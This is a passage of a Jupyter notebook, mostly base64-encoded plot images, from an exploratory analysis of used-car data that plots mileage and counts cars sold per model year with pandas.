3bJzcvnblPW8MnMzneOqM354N+Jq6nz4cLf5wHGe+HwtMzccoHX9qjw+rD29W5TMWvoqcAl5Ww+m8bcp6/ly5R5qV47l7gv9t73b/tR0xryzjIVbDnNTr6Y8OrSdFvuKIM45vl27jz98sZadR07ys86NeOTStme9c5IKXHxjxY6jPPVVEgs2B7Z3e+CS1lzWsWHIn7Hy/dbDjJq4lGPpWfz5yo5c1S3O60jikfSsHF6esYmXZ24iJsq464KW/KpPArExxRuMqMDFV5xzzFh/gKe/WhfY3i2uOg8PaVtiT0lLknOO1+ds4amv1tGkZkUm3NydNg0KXFlCIsD2Qyf4wxdr+S5pH+Nv7MZlnRoW6+eowMWXTt/ebWDrujw0pE3IFOTxjGwe/GgFk1ft5ZL29fnbtZ2pVkEbXcgPLdpymJ7xNYv9LFIFLr6Wd3u346e2d7uoFY1qeLe924Z9qdzxryVsO3SChwa35n/Obx7y0zziTypwCQtHT2Qyfvp/t3e7pU88Iwcklvn2bp8u38XDH6+icvkYxt3YlV7NQ29qR8KHClzCSt7t3apV+O/2bhXKle4ZH5nZufzpy7W8NX8bPeNrMu7GbtSvFh7nrUvoUoFLWFq7+xhPf72OWRsO0LhGRe6/uBVXdCmdnVT2pJxk5MSlLNt+lF/3TeChIW18dYqj+JcKXMLa6du7PTykDf1a1imxOem5yQcZ8+4yMrJy+Nu1nbm0Y/HOJhApjmJvaiziB30S6/DZqL68eENXjmdk8cs3FnHT6wtZtTPlrH5ubq5j/PRkbn59IbUrx/LZmL4qbwkZGoFL2MnMzmXiwm2MnZbM4bRMhnVuxAMXt6Zp7aK9nT3lRBb3fbCcqev2M6xzI566qiOVffr2fvE3TaFIxDmWnsWrMzfz2pzNRd7ebfWuFO6cuIS9Ken872Xt+EXvZjpFUDyjApeIte9YYHu3978v3PZuHyzewaP/Xk3NSrGMH94t7Ncrl9CnApeIl7w/sL3bt2v3Ua9qee69qBXX5tneLT0rh8c/W8N73++gT2JtXry+K7WrlPc4tYgKXOQ/8m7vllivCg9e0pq2Datx58QlrN51jNEDE7n3olalvk2WSGGpwEXy+M/2bt+sY/OBNGKijEqx0Tx/XRcuaFvf63giP3CmAtdL6hKRzIzBHRpwYdt6vL94B/OSD/HQ4DZFPlNFxEsqcIloMdFRDD+3GcPPbeZ1FJEi0xt5RER8SgUuIuJTKnAREZ9SgYuI+JQKXETEp1TgIiI+pQIXEfEpFbiIiE+V6VvpzewAsK2Y314HOFiCcUqKchWNchWNchVNqOaCs8vWzDlX9/SDZVrgZ8PMFue3FoDXlKtolKtolKtoQjUXlE42TaGIiPiUClxExKf8VOCveh3gDJSraJSraJSraEI1F5RCNt/MgYuIyA/5aQQuIiJ5qMBFRHwqJArczBqY2XtmtsnM1prZZDNrZWbOzMbkud44M7slz9f3mdk6M1tlZivM7DkzK+fJL1FKzCzHzJab2Zrg73ifmUUFL+thZi+W8O1tNbM6JfkzS1ue++jUx8PB4zPMrMinbZlZFzO79CcuL/H7PdSY2fF8jj1uZruC9/FqMxuW57KbzGxlnsfpa2ZWo0xDl5E8j7fVZvahmZ1xG6eCHks/8X2Pm9kDBV3P8x15zMyAScBbzrnrg8e6APWB/cDdZvaKcy7ztO+7A7gY6OWcO2pmscB9QEUgqwx/hdJ20jnXBcDM6gHvANWBx5xziwFtMprnPiohXYAewOTTLzCzmAi/3593zj1jZm2B2cHH5MXAvcAQ59wuM4sGfkngb/iod1FLTd6/yYnAHcBzZ7huF376sZR9NkFCYQQ+EMhyzk04dcA5txzYARwAphJ4MJzuEeBO59zR4PdkOueeds4dK/XEHnHO7QdGAKMtYICZfQFgZpXN7A0z+97MlpnZ5cHj7c1sUXDEsNLMWgaP35Tn+CvBP7qwZWYXm9l8M1saHDVVCR7vaWbzgqPGRWZWHfgDcF3wvrkuOBp61cymAP887X6vYmZvBp8FrjSzqz38NcuMcy4JyCbw7sJHgAecc7uCl+U4595wzq33MmMZmQ0k5vf3FxxUFvRYamZmU4OPnalm1rQoNx4KBd4BWPITlz8N3J+3YMysKlDFObeltMOFGufcZgL/3+qddtEjwDTnXE8C/yj+zcwqExgdvBAcMfQAdgZHT9cBfYLHc4DhZfMblIqKp02hXJf3wuCU0P8CFzrnuhEYPd8X/AN7H7jbOdcZuBBIA34PvO+c6+Kcez/4Y7oDlzvnbjztth8FUpxzHZ1znYBppfZbhhAzOxfIJTDIag8s9TZR2TOzGGAIsIp8/v6AchT8WBoH/DP42JkIFGlqzvMplII457aY2SIg7x+OAf85/9HMLgH+AtQAbnTOzSvTkGXP8jl2MTAsz7xZBaApMB94xMzigE+ccxvN7AICD6LvAzNYVCQwXeVXBU2h9ALaAXODv28sgfulNbDHOfc9wKlnb8HrnO4z59zJfI5fCFx/6gvn3JFi5PeTe83sJiAVuM455/LeX2bWEXgbqAr8Lk9phZOKZrY8+Pls4HVgHvn//eUn72OpN3BV8PO3gb8WJUgoFPga4JoCrvNn4CNgFgT+0MwszcwSnHNbnHPfAN8En9bGlm5cb5lZcwIj5v1A27wXAVfn87Q1ycwWApcRuI9+HbzuW86535ZF5hBgwLfOuRt+cNCsE3kGAgVI+4mfHUlvpnjeOffMacfWAN2A6c65VUAXMxtHYGAQjn40YAi+lvejv7/gM5XTnemxBEV8LIXCFMo0oLyZ/c+pA2bWE2h26mvn3DpgLTA0z/c9Bbx86pXu4B1YoSwCe8XM6gITgHHux+/A+gYYE7wfMLOuwf82BzY7514EPgM6EXhd4ZrgC1CYWS0za0b4WgD0MbNEADOrZGatgHVAo+DjDTOrGnxanEpgBFkYU4DRp74ws5olmtwfngKeCT7LOyVcy/tM8v37o+DH0jz++wxuODCnKDfqeYEHi+hK4CILnEa4Bngc2H3aVf8E5H2AvAx8Byw0s5XAXGBZ8COcnJrfXUPg950CPJHP9f5IYM5tpZmtDn4Ngbnu1cGnfG0IzLetJTAnPCV4330LNCzdX6NUnT4H/nTeC51zB4BbgHeDv+8CoE3wzKbrgLFmtoLA/VABmA60y28+PR9PAjUtcErZCgLzn+GgkpntzPNx35mu6JybTGDu9isLnAY8j8CzxG/KKmwIONPfX0GPpbuAW4OPy5uBu4tyo3orvYiIT3k+AhcRkeJRgYuI+JQKXETEp1TgIiI+pQIXEfEpFbiIiE+pwMU37MfLxsYX42f8ZyGqfC67Nc/PzgwuUPWj88pFQkUovJVepLBKetnYH3DOvQm8CYF10YGBzrmDpXV7ImdLI3DxNcuzAYUFNlqYEfw83+V1i/HzbzOz5/N8/T8W2Dgk3gKbibwVXAr0Iwsu7G9m3c1sppktMbNvzMzP73KVEKYCFz/J+5b5SQVc90zL6xbVewRWmTu109OtBEfpBFYzfDW4FOgxYGTwemOBa5xz3YE3CCwDIVLiNIUiflKUKZQzLa9bJM65NDObBgw1sySgnHNuVXD+fYdzbm7wqv8isK7F1wTWuP82uK5RNLCnqLcrUhgqcPG7bP77TDLvapRnWt6zfjFu4zXgdwRWL3wzz/HTFxJywdtd45zrXYzbESkSTaGI320lsDkFQN7tzM60vGeROecWAk0IbCrybp6LmprZqaK+gcBSoOuBuqeOm1k5M2tf3NsW+SkqcPG7J4AXzGw2gSVMTznT8p7F9QEw97Qdd5KAXwaXAq0FvBxcovYa4C/B5WWXA+ed5W2L5EvLyYoUQvDc8eedc1ODX8cDXzjnOngaTCKaRuAiP8HMapjZBgIvoE71Oo9IXhqBS0Qys1v58e4nc51zo7zII1IcKnAREZ/SFIqIiE+pwEVEfEoFLiLiUypwERGf+n976ulKpIO7IAAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "mileage.plot(kind='line')" - ] - }, - { - "cell_type": "code", - "execution_count": 97, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "2014 797\n", - "2015 744\n", - "2016 741\n", - "2013 649\n", - "2017 587\n", - "2012 580\n", - "2011 466\n", - "2010 342\n", - "2018 298\n", - "2009 198\n", - "2008 174\n", - "2007 125\n", - "2019 102\n", - "2006 78\n", - "2005 57\n", - "2004 31\n", - "2003 17\n", - "2002 15\n", - "2001 8\n", - "1998 4\n", - "2000 4\n", - "1999 2\n", - "Name: Year, dtype: int64" - ] - }, - "execution_count": 97, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# now we analyze the no. of car sold per year\n", - "year = data_trimmed['Year'].value_counts()\n", - "year" - ] - }, - { - "cell_type": "code", - "execution_count": 98, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 98, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "year.plot(kind='box')" - ] - }, - { - "cell_type": "code", - "execution_count": 99, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 99, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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